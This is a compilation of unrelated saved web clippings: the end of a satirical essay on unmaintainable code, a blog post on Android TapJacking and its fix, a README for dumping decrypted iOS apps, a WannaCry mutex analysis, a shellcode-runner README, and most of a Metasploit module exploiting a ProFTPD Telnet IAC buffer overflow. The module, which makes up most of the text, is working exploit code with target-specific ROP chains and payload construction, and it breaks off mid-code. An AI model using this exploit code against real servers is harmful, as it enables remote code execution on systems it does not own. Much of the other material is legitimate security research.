The people who design languages are the people who write the compilers and
system classes. Quite naturally they design to make their work easy and
mathematically elegant. However, there are 10,000 maintenance programmers to
every compiler writer. The grunt maintenance programmers have absolutely no
say in the design of languages. Yet the total amount of code they write dwarfs
the code in the compilers.

An example of the result of this sort of elitist thinking is the JDBC
interface. It makes life easy for the JDBC implementor, but a nightmare for
the maintenance programmer. It is far **clumsier** than the FORTRAN interface
that came out with SQL three decades ago.

Maintenance programmers, if somebody ever consulted them, would demand ways to
hide the housekeeping details so they could see the forest for the trees. They
would demand all sorts of shortcuts so they would not have to type so much and
so they could see more of the program at once on the screen. They would
complain loudly about the myriad petty time-wasting tasks the compilers demand
of them.

There are some efforts in this direction NetRexx, Bali, and visual editors
\(e.g. IBM's Visual Age is a start\) that can collapse detail irrelevant to
the current purpose.

## The Shoemaker Has No Shoes

Imagine having an accountant as a client who insisted on maintaining his
general ledgers using a word processor. You would do you best to persuade him
that his data should be structured. He needs validation with cross field
checks. You would persuade him he could do so much more with that data when
stored in a database, including controlled simultaneous update.

Imagine taking on a software developer as a client. He insists on maintaining
all his data \(source code\) with a text editor. He is not yet even exploiting
the word processor's colour, type size or fonts.

Think of what might happen if we started storing source code as structured
data. We could view the **same** source code in many alternate ways, e.g. as
Java, as NextRex, as a decision table, as a flow chart, as a loop structure
skeleton \(with the detail stripped off\), as Java with various levels of
detail or comments removed, as Java with highlights on the variables and
method invocations of current interest, or as Java with generated comments
about argument names and/or types. We could display complex arithmetic
expressions in 2D, the way TeX and mathematicians do. You could see code with
additional or fewer parentheses, \(depending on how comfortable you feel with
the precedence rules\). Parenthesis nests could use varying size and colour to
help matching by eye. With changes as transparent overlay sets that you can
optionally remove or apply, you could watch in real time as other programmers
on your team, working in a different country, modified code in classes that
you were working on too.

You could use the full colour abilities of the modern screen to give
subliminal clues, e.g. by automatically assigning a portion of the spectrum to
each package/class using a pastel shades as the backgrounds to any references
to methods or variables of that class. You could bold face the definition of
any identifier to make it stand out.

You could ask what methods/constructors will produce an object of type X? What
methods will accept an object of type X as a parameter? What variables are
accessible in this point in the code? By clicking on a method invocation or
variable reference, you could see its definition, helping sort out which
version of a given method will actually be invoked. You could ask to globally
visit all references to a given method or variable, and tick them off once
each was dealt with. You could do quite a bit of code writing by point and
click.

Some of these ideas would not pan out. But the best way to find out which
would be valuable in practice is to try them. Once we had the basic tool, we
could experiment with hundreds of similar ideas to make life easier for the
maintenance programmer.

I discuss this further in the SCID student project.

An early version of this article appeared in Java Developers' Journal \(volume
2 issue 6\). I also spoke on this topic in 1997 November at the Colorado
Summit Conference. It has been gradually growing ever since.

This essay is a **joke**\! I apologise if anyone took this literally.
Canadians think it gauche to label jokes with a :-\). People paid no attention
when I harped about how to write \_\_maintainable code. I found people were
more receptive hearing all the goofy things people often do to muck it up.
Checking for **un** maintainable design patterns is a rapid way to defend
against malicious or inadvertent sloppiness.

_**The original was published onRoedy Green's Mindproducts  site. **_

# nVisium Security | Security Blog: Revisiting Android TapJacking
**Created:**| _5/29/2011 9:41:40 PM_  
---|---  
**Updated:**| _5/29/2011 9:41:51 PM_  
**Author:**| __  
**Tags:**| _attacks analysis android_  
  

### Revisiting Android TapJacking

_Resources:_

_https://github.com/nVisiumSecurity/TapJacking-Demo  
https://market.android.com/details?id=com.nvisium.tapjacking_

  
  
Although we probably didn't need another \*jacking vulnerabillity, TapJacking
is a relatively easy vulnerability for a malicious application to leverage in
Android prior to version 2.3 \(Gingerbread\). To be clear, we did not discover
this attack vector. For the initial disclosure and a good writeup, please
reference the Lookout Blog. We are revisiting this issue to raise awareness
and provide developers with a friendly reminder that they are still on the
hook to defend against this in their applications. Although 2.3 provides the
ability to protect against this, it is not enabled by default.  
  
What TapJacking allows a malicious application to do is overlay the Activity
at the top of the stack with another object \(ie- Toast\) that passes touch
events through to the Activity. The result is that the user has no clue what
they are really clicking on or typing into because it is hidden from view yet
still accessible. So while a user may be tapping to install new paid
applications, transferring funds, or dialing expensive numbers overseas, they
are still happily clicking away at whatever they see. The illustration below
demonstrates how a Toast object would overlay an Activity:  
  
  

<img src='img/Temp2_10475.png' width='270' height='400' />

  
We wrote a proof of concept application that you can install to your phone or
Android virtual device in order to see how the attack works. You can find it
in the Android Market
\(https://market.android.com/details?id=com.nvisium.tapjacking\). The proof of
concept application can also be used to perform security testing to ensure
your anti-TapJacking defenses are working properly. You can download it
directly to your phone from the Android Market , or you can pull down the
Eclipse project from GitHub and build it yourself
\(https://github.com/nVisiumSecurity/TapJacking-Demo\). You can easily modify
this application to test it against your own applications by modifying the
package and class names that are launched by the background services. You can
also modify the offsets within the layouts to determine where icons and
buttons will be placed within the Toast overlay.  
  
Another interesting thing to take note of is the fact that our sample
application requires zero permissions. Permissions in Android get a lot of
attention, and therefore we've begun to train our users to make some of their
security decisions based on the types of permissions an application requests.
If a wallpaper application requests SEND\_SMS, CALL\_PHONE,
ACCESS\_COARSE\_LOCATION, and other sensitive rights, it will hopefully make
someone very suspicious. However, a wallpaper application that makes use of
TapJacking could fly a bit further under the radar. The applications that are
being granted the sensitive rights could be installed silently in the
background instead, achieving the same effect and with less risk of detection.  
  
The good news: there is a relatively simple fix: in the 2.3 SDK and above,
subclasses of the View class inherit the setFilterTouchesWhenObscured method.
You set this on your View derived object and it prevents interaction when
something else is on top of it. This can be called either through code or
declared within your resource and layout XML files. Any sensitive
functionality such as purchasing, account modification, or changing a user's
settings should be protected. So assuming you create a button within a layout
file instead of within code, you would create it like so:  
  
  

<Button android:text="Button"

android:id="@+id/button1"

android:layout\_width="wrap\_content"

android:layout\_height="wrap\_content"

**__android:filterTouchesWhenObscured=__****__" true"__** >

</Button>

  
That's it. Simple. Easy. Even though your Activity may be at the top of the
stack, if there is anything obscuring it from view Android will disallow
interaction with it. For most applications, this should not be an issue.  
  
The bad news: this is not enabled by default \(as it hopefully will be at some
point\). It also means your users with pre-2.3 devices aren't protected,
either. According to Google's own numbers
\(http://developer.android.com/resources/dashboard/platform-versions.html\),
close to 96% of the Android ecosystem is still using 2.2 and below. Since many
older phones are no longer receiving updates and will never see an official
Gingerbread release, this issue will be around for a while. So it's up to
developers to implement this on their own. Hopefully as a larger percentage of
devices begin to use 2.3, Google will consider enabling this by default.  
  
From the people we've talked to that specialize in mobile malware and
forensics, this technique has not been used much in the wild. However, as
Android malware continues to grow at an alarming pace, it is only a matter of
time before we may see this used. Combine that with a growing number of
applications using in-app billing, and the use cases expand even more. We also
hope that Google will begin to make use of their own security features in
future releases of their own packages, such as settings, dialer, and market
applications.

# OSF DataLossDB | Data Loss News, Statistics, and Research
**Created:**| _2/24/2010 9:34:06 AM_  
---|---  
**Updated:**| _2/24/2010 9:34:13 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Support DataLossDB

# AloneMonkey/frida-ios-dump

**Created:**| _3/7/2018 8:41:50 AM_  
---|---  
**Updated:**| _3/7/2018 8:41:50 AM_  
**Author:**| _wishi_  
**Tags:**| _Memory forensics mobile/embedded_  
  

  

###  README.md

# frida-ios-dump

Pull a decrypted IPA from a jailbroken device

## Usage

  1. Install frida on device and mac
  2. Run usbmuxd/iproxy SSH forwarding over USB \(Default 2222 -> 22\)
  3. Run ./dump.py `Display name` or `Bundle identifier`

For SSH/SCP make sure you have your public key added to the target device's
~/.ssh/authorized\_keys file.

[code]

    ./dump.py Aftenposten
    Start the target app Aftenposten
    Dumping Aftenposten to /var/folders/wn/9v1hs8ds6nv_xj7g95zxyl140000gn/T
    start dump /var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/AftenpostenApp
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/AFNetworking.framework/AFNetworking
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/ATInternet_iOS_ObjC_SDK.framework/ATInternet_iOS_ObjC_SDK
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/SPTEventCollector.framework/SPTEventCollector
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/SPiDSDK.framework/SPiDSDK
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/libswiftCore.dylib
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/libswiftCoreData.dylib
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/libswiftCoreGraphics.dylib
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/libswiftCoreImage.dylib
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/libswiftCoreLocation.dylib
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/libswiftDarwin.dylib
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/libswiftDispatch.dylib
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/libswiftFoundation.dylib
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/libswiftObjectiveC.dylib
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/libswiftQuartzCore.dylib
    start dump /private/var/containers/Bundle/Application/66423A80-0AFE-471C-BC9B-B571107D3C27/AftenpostenApp.app/Frameworks/libswiftUIKit.dylib
    Generating Aftenposten.ipa
    
    Done.
    
[/code]

Congratulations\!\!\! You've got a decrypted IPA file.

Drag to MonkeyDev, Happy hacking\!

  

# Quickpost: WannaCry’s Mutex Is MsWinZonesCacheCounterMutexA0 \(Digit Zero At
The End\)

**Created:**| _5/14/2017 12:08:04 PM_  
---|---  
**Updated:**| _5/14/2017 12:08:04 PM_  
**Author:**| __  
**Tags:**| _windows Malware-analysis_  
  

  

## Sunday 14 May 2017

###  Quickpost: WannaCry’s Mutex Is MsWinZonesCacheCounterMutexA0 \(Digit Zero
At The End\)

Filed under: Malware,Quickpost — Didier Stevens @ 11:23  

I’ve seen reports that WannaCry uses a mutex with name
Global\MsWinZonesCacheCounterMutexA.

The samples I analyzed all use another mutex:
Global\MsWinZonesCacheCounterMutexA0. That’s a digit zero at the end.

I have not found a sample that uses mutex Global\MsWinZonesCacheCounterMutexA
\(e.g. without digit zero at the end\).

<img src='img/20170514-115340.png' width='846' height='633' />

Remark that the code above contains string
“Global\\\MsWinZonesCacheCounterMutexA”, but that is not the actual string
used for OpenMutexA.

The actual string used for OpenMutexA is created by a sprintf “%s%d” call, and
results in “Global\\\MsWinZonesCacheCounterMutexA0“, that is
“Global\\\MsWinZonesCacheCounterMutexA” with a digit 0 \(zero\) appended.

Mutexes have long been used by malware authors to prevent more than one
instance of the malware running on the same machine. An old anti-malware trick
consists in the creation of a specific mutex, to prevent the execution of a
specific malware.

I’ve seen tools and scripts published to create mutex
Global\MsWinZonesCacheCounterMutexA to prevent WannaCry from infecting
machines. This will not work for the samples I analyzed.

Samples I disassembled:

7c465ea7bcccf4f94147add808f24629644be11c0ba4823f16e8c19e0090f0ff \(contained
as a resource in
5ad4efd90dcde01d26cc6f32f7ce3ce0b4d4951d4b94a19aa097341aff2acaec\).

86721e64ffbd69aa6944b9672bcabb6d \(contained as a resource in
5bef35496fcbdbe841c82f4d1ab8b7c2\).

Samples I searched for containing the mutex and sprintf code:

509c41ec97bb81b0567b059aa2f50fe8  
5bef35496fcbdbe841c82f4d1ab8b7c2  
638f9235d038a0a001d5ea7f5c5dc4ae  
7f7ccaa16fb15eb1c7399d422f8363e8  
84c82835a5d21bbcf75a61706d8ab549  
86721e64ffbd69aa6944b9672bcabb6d  
d6114ba5f10ad67a4131ab72531f02da  
db349b97c37d22f5ea1d1841e3c89eb4  
f107a717f76f4f910ae9cb4dc5290594

If you have a sample that actually uses mutex
Global\\\MsWinZonesCacheCounterMutexA and not mutex
Global\\\MsWinZonesCacheCounterMutexA0 \(e.g. with digit zero appended\),
please post a comment with the hash of your sample.

* * *
Quickpost info

* * *
 Like

Be the first to like this.

### _Related_

USBVirusScan v1.4.0In "My Software"

PDF, Let Me Count the Ways...In "Malware"

Viewing strings in executablesIn "Reverse Engineering"

Leave a Comment

## Leave a Comment »

No comments yet.

RSS feed for comments on this post. TrackBack URI

### Leave a Reply \(comments are moderated\)

  

  *[RSS]: Really Simple Syndication
  *[URI]: Uniform Resource Identifier

# zerosum0x0/RunShellcode

**Created:**| _6/29/2017 3:45:48 PM_  
---|---  
**Updated:**| _6/29/2017 3:45:48 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## RunShellcode

Simple GUI program when you just want to run some shellcode.

### Tips

  1. Works on Windows, need Mono port because P/invoke
  2. Strips "0x", then any non-hex character \(case-insensitive\).
  3. Add 0xcc at start of shellcode to make it stop in a debugger.
  4. Shellcode class can be used in other .NET projects.

<img src='img/14223_screenshot.png' width='590' height='341'
alt='RunShellcode' />

FAMFAMFAM silk icons CC BY 3.0

  

# Metasploit Framework - /modules/exploits/linux/ftp/proftp\_telnet\_iac.rb -
Metasploit Redmine Interface

**Created:**| _11/6/2010 5:49:51 PM_  
---|---  
**Updated:**| _11/6/2010 5:49:51 PM_  
**Author:**| __  
**Tags:**| _Exploit Linux Metasploit awesome rop_  
  
1|

[code]

    ##
[/code]  
---|---  
2|

[code]

    # $Id: proftp_telnet_iac.rb 10922 2010-11-05 21:41:37Z jduck $
[/code]  
3|

[code]

    ##
[/code]  
4|

[/code]

[code]

5|

[code]

    ##
[/code]  
6|

[code]

    # This file is part of the Metasploit Framework and may be subject to
[/code]  
7|

[code]

    # redistribution and commercial restrictions. Please see the Metasploit
[/code]  
8|

[code]

    # Framework web site for more information on licensing and terms of use.
[/code]  
9|

[code]

    # http://metasploit.com/framework/
[/code]  
10|

[code]

    ##
[/code]  
11|

[/code]

[code]

12|

[code]

    require 'msf/core'
[/code]  
13|

[/code]

[code]

14|

[code]

    class Metasploit3 < Msf::Exploit::Remote
[/code]  
15|

[code]

            Rank = GreatRanking
[/code]  
16|

[/code]

[code]

17|

[code]

            include Msf::Exploit::Remote::Ftp
[/code]  
18|

[/code]

[code]

19|

[code]

            def initialize(info = {})
    
[/code]  
20|

[code]

                    super(update_info(info,
    
[/code]  
21|

[code]

                            'Name'           => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',
    
[/code]  
22|

[code]

                            'Description'    => %q{
[/code]  
23|

[code]

                                            This module exploits a stack-based buffer overflow in versions of ProFTPD
    
[/code]  
24|

[code]

                                    server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
    
[/code]  
25|

[code]

                                    large number of Telnet IAC commands, an attacker can corrupt memory and
    
[/code]  
26|

[code]

                                    execute arbitrary code.
    
[/code]  
27|

[/code]

[code]

28|

[code]

                                    This version of the exploit uses a little ROP stub to indirectly transfer the
    
[/code]  
29|

[code]

                                    flow of execution to a pool buffer (the cmd_rec "res" in "pr_cmd_read").
    
[/code]  
30|

[/code]

[code]

31|

[code]

                                    NOTE: Most Linux distributions either do not ship a vulnerable version of
    
[/code]  
32|

[code]

                                    ProFTPD, or they ship a version compiled with stack smashing protection. As of
    
[/code]  
33|

[code]

                                    this writing, SSP is believed to successfully mitigate this vulnerability.
    
[/code]  
34|

[code]

                            },
    
[/code]  
35|

[code]

                            'Author'         => [ 'jduck' ],
    
[/code]  
36|

[code]

                            'Version'        => '$Revision: 10922 $',
    
[/code]  
37|

[code]

                            'References'     =>
    
[/code]  
38|

[code]

                                    [
    
[/code]  
39|

[code]

                                            ['CVE', '2010-3867'],
    
[/code]  
40|

[code]

                                            ['OSVDB', '68985'],
    
[/code]  
41|

[code]

                                            ['BID', '44562']
    
[/code]  
42|

[code]

                                    ],
    
[/code]  
43|

[code]

                            'DefaultOptions' =>
    
[/code]  
44|

[code]

                                    {
    
[/code]  
45|

[code]

                                            'EXITFUNC' => 'process',
    
[/code]  
46|

[code]

                                            'PrependChrootBreak' => true
[/code]  
47|

[code]

                                    },
    
[/code]  
48|

[code]

                            'Privileged'     => true,
    
[/code]  
49|

[code]

                            'Payload'        =>
    
[/code]  
50|

[code]

                                    {
    
[/code]  
51|

[code]

                                            'Space'    => 4096,
    
[/code]  
52|

[code]

                                            # NOTE: \xff are avoided here so we can control the number of them being sent.
[/code]  
53|

[code]

                                            'BadChars' => "\x00\x0a\x0d\xff",
    
[/code]  
54|

[code]

                                            'DisableNops'        =>  'True',
    
[/code]  
55|

[code]

                                    },
    
[/code]  
56|

[code]

                            'Platform'       => [ 'linux', ],
    
[/code]  
57|

[code]

                            'Targets'        =>
    
[/code]  
58|

[code]

                            [
    
[/code]  
59|

[code]

                                    #
[/code]  
60|

[code]

                                    # Automatic targeting via fingerprinting
[/code]  
61|

[code]

                                    #
[/code]  
62|

[code]

                                    [ 'Automatic Targeting', { 'auto' => true }  ],
    
[/code]  
63|

[/code]

[code]

64|

[code]

                                    #
[/code]  
65|

[code]

                                    # This special one comes first since we dont want its index changing.
[/code]  
66|

[code]

                                    #
[/code]  
67|

[code]

                                    [        'Debug',
    
[/code]  
68|

[code]

                                            {
    
[/code]  
69|

[code]

                                                    'IACCount' => 8192, # should cause crash writing off end of stack
[/code]  
70|

[code]

                                                    'Offset' => 0,
    
[/code]  
71|

[code]

                                                    'Ret' => 0x41414242,
    
[/code]  
72|

[code]

                                                    'Writable' => 0x43434545
[/code]  
73|

[code]

                                            }
    
[/code]  
74|

[code]

                                    ],
    
[/code]  
75|

[/code]

[code]

76|

[code]

                                    #
[/code]  
77|

[code]

                                    # specific targets
[/code]  
78|

[code]

                                    #
[/code]  
79|

[code]

                                    [ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',
    
[/code]  
80|

[code]

                                            {
    
[/code]  
81|

[code]

                                                    'IACCount' => 4096+16,
    
[/code]  
82|

[code]

                                                    'Offset' => 0x102c-4,
    
[/code]  
83|

[code]

                                                    # NOTE: All addresses are from the proftpd binary
[/code]  
84|

[code]

                                                    'Ret' => 0x80c44c4, # pop esi / pop ebp / ret
[/code]  
85|

[code]

                                                    'Writable' => 0x80d81a0, # .data
[/code]  
86|

[code]

                                                    'RopStack' =>
    
[/code]  
87|

[code]

                                                            [
    
[/code]  
88|

[code]

                                                                    # Writable is here
[/code]  
89|

[code]

                                                                    0xcccccccc, # unused
[/code]  
90|

[code]

                                                                    0x80c44c2,  # mov eax,esi / pop esi / pop ebp / ret
[/code]  
91|

[code]

                                                                    0xcccccccc, # unused
[/code]  
92|

[code]

                                                                    0xcccccccc, # unused
[/code]  
93|

[code]

                                                                    # quadruple deref the res pointer :)
[/code]  
94|

[code]

                                                                    0x8068886,  # mov eax,[eax] / ret
[/code]  
95|

[code]

                                                                    0x8068886,  # mov eax,[eax] / ret
[/code]  
96|

[code]

                                                                    0x8068886,  # mov eax,[eax] / ret
[/code]  
97|

[code]

                                                                    0x8068886,  # mov eax,[eax] / ret
[/code]  
98|

[code]

                                                                    # skip the pool chunk header
[/code]  
99|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
100|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
101|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
102|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
103|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
104|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
105|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
106|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
107|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
108|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
109|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
110|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
111|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
112|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
113|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
114|

[code]

                                                                    0x805bd8e,  # inc eax / adc cl, cl / ret
[/code]  
115|

[code]

                                                                    # execute the data :)
[/code]  
116|

[code]

                                                                    0x0805c26c, # jmp eax
[/code]  
117|

[code]

                                                            ],
    
[/code]  
118|

[code]

                                            }
    
[/code]  
119|

[code]

                                    ],
    
[/code]  
120|

[/code]

[code]

121|

[code]

                                    # For the version compiled with symbols :)
[/code]  
122|

[code]

                                    [ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',
    
[/code]  
123|

[code]

                                            {
    
[/code]  
124|

[code]

                                                    'IACCount' => 4096+16,
    
[/code]  
125|

[code]

                                                    'Offset' => 0x1028-4,
    
[/code]  
126|

[code]

                                                    # NOTE: All addresses are from the proftpd binary
[/code]  
127|

[code]

                                                    'Writable' => 0x80ec570, # .data
[/code]  
128|

[code]

                                                    'Ret' => 0x80d78c2, # pop esi / pop ebp / ret
[/code]  
129|

[code]

                                                    'RopStack' =>
    
[/code]  
130|

[code]

                                                            [
    
[/code]  
131|

[code]

                                                                    # Writable is here
[/code]  
132|

[code]

                                                                    #0x0808162a, # jmp esp (works w/esp fixup)
[/code]  
133|

[code]

                                                                    0xcccccccc, # unused (becomes ebp)
[/code]  
134|

[code]

                                                                    0x80d78c2,  # mov eax,esi / pop esi / pop ebp / ret
[/code]  
135|

[code]

                                                                    0xcccccccc, # unused (becomes esi)
[/code]  
136|

[code]

                                                                    0xcccccccc, # unused (becomes ebp)
[/code]  
137|

[code]

                                                                    # quadruple deref the res pointer :)
[/code]  
138|

[code]

                                                                    0x806a915,  # mov eax,[eax] / pop ebp / ret
[/code]  
139|

[code]

                                                                    0xcccccccc, # unused (becomes ebp)
[/code]  
140|

[code]

                                                                    0x806a915,  # mov eax,[eax] / pop ebp / ret
[/code]  
141|

[code]

                                                                    0xcccccccc, # unused (becomes ebp)
[/code]  
142|

[code]

                                                                    0x806a915,  # mov eax,[eax] / pop ebp / ret
[/code]  
143|

[code]

                                                                    0xcccccccc, # unused (becomes ebp)
[/code]  
144|

[code]

                                                                    0x806a915,  # mov eax,[eax] / pop ebp / ret
[/code]  
145|

[code]

                                                                    0xcccccccc, # unused (becomes ebp)
[/code]  
146|

[code]

                                                                    # skip the pool chunk header
[/code]  
147|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
148|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
149|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
150|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
151|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
152|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
153|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
154|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
155|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
156|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
157|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
158|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
159|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
160|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
161|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
162|

[code]

                                                                    0x805d6a9,  # inc eax / adc cl, cl / ret
[/code]  
163|

[code]

                                                                    # execute the data :)
[/code]  
164|

[code]

                                                                    0x08058de6, # jmp eax
[/code]  
165|

[code]

                                                            ],
    
[/code]  
166|

[code]

                                            }
    
[/code]  
167|

[code]

                                    ],
    
[/code]  
168|

[code]

                            ],
    
[/code]  
169|

[code]

                            'DefaultTarget'  => 0,
    
[/code]  
170|

[code]

                            'DisclosureDate' => 'Nov 1 2010'))
    
[/code]  
171|

[/code]

[code]

172|

[code]

                    register_options(
    
[/code]  
173|

[code]

                            [
    
[/code]  
174|

[code]

                                    Opt::RPORT(21),
    
[/code]  
175|

[code]

                            ], self.class )
    
[/code]  
176|

[code]

            end
[/code]  
177|

[/code]

[code]

178|

[/code]

[code]

179|

[code]

            def check
[/code]  
180|

[code]

                    # NOTE: We don't care if the login failed here...
[/code]  
181|

[code]

                    ret = connect
    
[/code]  
182|

[/code]

[code]

183|

[code]

                    # We just want the banner to check against our targets..
[/code]  
184|

[code]

                    print_status("FTP Banner: #{banner.strip}")
    
[/code]  
185|

[/code]

[code]

186|

[code]

                    status = CheckCode::Safe
[/code]  
187|

[code]

                    if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
[/code]  
188|

[code]

                            ver = $1
[/code]  
189|

[code]

                            maj,min,rel = ver.split('.')
    
[/code]  
190|

[code]

                            relv = rel.slice!(0,1)
    
[/code]  
191|

[code]

                            case relv
    
[/code]  
192|

[code]

                            when '2'
[/code]  
193|

[code]

                                    if rel.length > 0
[/code]  
194|

[code]

                                            if rel[0,2] == 'rc'
[/code]  
195|

[code]

                                                    if rel[2,rel.length].to_i >= 3
[/code]  
196|

[code]

                                                            status = CheckCode::Vulnerable
[/code]  
197|

[code]

                                                    end
[/code]  
198|

[code]

                                            else
[/code]  
199|

[code]

                                                    status = CheckCode::Vulnerable
[/code]  
200|

[code]

                                            end
[/code]  
201|

[code]

                                    end
[/code]  
202|

[code]

                            when '3'
[/code]  
203|

[code]

                                    # 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
[/code]  
204|

[code]

                                    status = CheckCode::Vulnerable
[/code]  
205|

[code]

                                    if rel.length > 0
[/code]  
206|

[code]

                                            if rel[0,2] != 'rc' and rel[0,1] > 'b'
[/code]  
207|

[code]

                                                    status = CheckCode::Safe
[/code]  
208|

[code]

                                            end
[/code]  
209|

[code]

                                    end
[/code]  
210|

[code]

                            end
[/code]  
211|

[code]

                    end
[/code]  
212|

[/code]

[code]

213|

[code]

                    disconnect
    
[/code]  
214|

[code]

                    return status
    
[/code]  
215|

[code]

            end
[/code]  
216|

[/code]

[code]

217|

[/code]

[code]

218|

[code]

            def exploit
[/code]  
219|

[code]

                    connect
    
[/code]  
220|

[/code]

[code]

221|

[code]

                    # Use a copy of the target
[/code]  
222|

[code]

                    mytarget = target
    
[/code]  
223|

[/code]

[code]

224|

[code]

                    if (target['auto'])
    
[/code]  
225|

[code]

                            mytarget = nil
[/code]  
226|

[/code]

[code]

227|

[code]

                            print_status("Automatically detecting the target...")
    
[/code]  
228|

[code]

                            if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
[/code]  
229|

[code]

                                    print_status("FTP Banner: #{banner.strip}")
    
[/code]  
230|

[code]

                                    version = m[1]
    
[/code]  
231|

[code]

                            else
[/code]  
232|

[code]

                                    print_status("No matching target")
    
[/code]  
233|

[code]

                                    return
[/code]  
234|

[code]

                            end
[/code]  
235|

[/code]

[code]

236|

[code]

                            regexp = Regexp.escape(version)
    
[/code]  
237|

[code]

                            self.targets.each do |t|
    
[/code]  
238|

[code]

                                    if (t.name =~ /#{regexp}/) then
[/code]  
239|

[code]

                                            mytarget = t
    
[/code]  
240|

[code]

                                            break
[/code]  
241|

[code]

                                    end
[/code]  
242|

[code]

                            end
[/code]  
243|

[/code]

[code]

244|

[code]

                            if (not mytarget)
    
[/code]  
245|

[code]

                                    print_status("No matching target")
    
[/code]  
246|

[code]

                                    return
[/code]  
247|

[code]

                            end
[/code]  
248|

[/code]

[code]

249|

[code]

                            print_status("Selected Target: #{mytarget.name}")
    
[/code]  
250|

[code]

                    else
[/code]  
251|

[code]

                            print_status("Trying target #{mytarget.name}...")
    
[/code]  
252|

[code]

                            if banner
    
[/code]  
253|

[code]

                                    print_status("FTP Banner: #{banner.strip}")
    
[/code]  
254|

[code]

                            end
[/code]  
255|

[code]

                    end
[/code]  
256|

[/code]

[code]

257|

[code]

                    #puts "attach and press any key"; bleh = $stdin.gets
[/code]  
258|

[/code]

[code]

259|

[code]

                    buf = ''
[/code]  
260|

[code]

                    buf << 'SITE '
[/code]  
261|

[code]

                    buf << payload.encoded
    
[/code]  
262|

[code]

                    # The number of characters left must be odd at this point.
[/code]  
263|

[code]

                    buf << rand_text(1) if (buf.length % 2) == 0
[/code]  
264|

[code]

                    buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)
    
[/code]  
265|

[code]

                    buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)
    
[/code]  
266|

[code]

                    buf << [
    
[/code]  
267|

[code]

                            mytarget['Ret'],
    
[/code]  
268|

[code]

                            mytarget['Writable']
    
[/code]  
269|

[code]

                    ].pack('V*')
    
[/code]  
270|

[code]

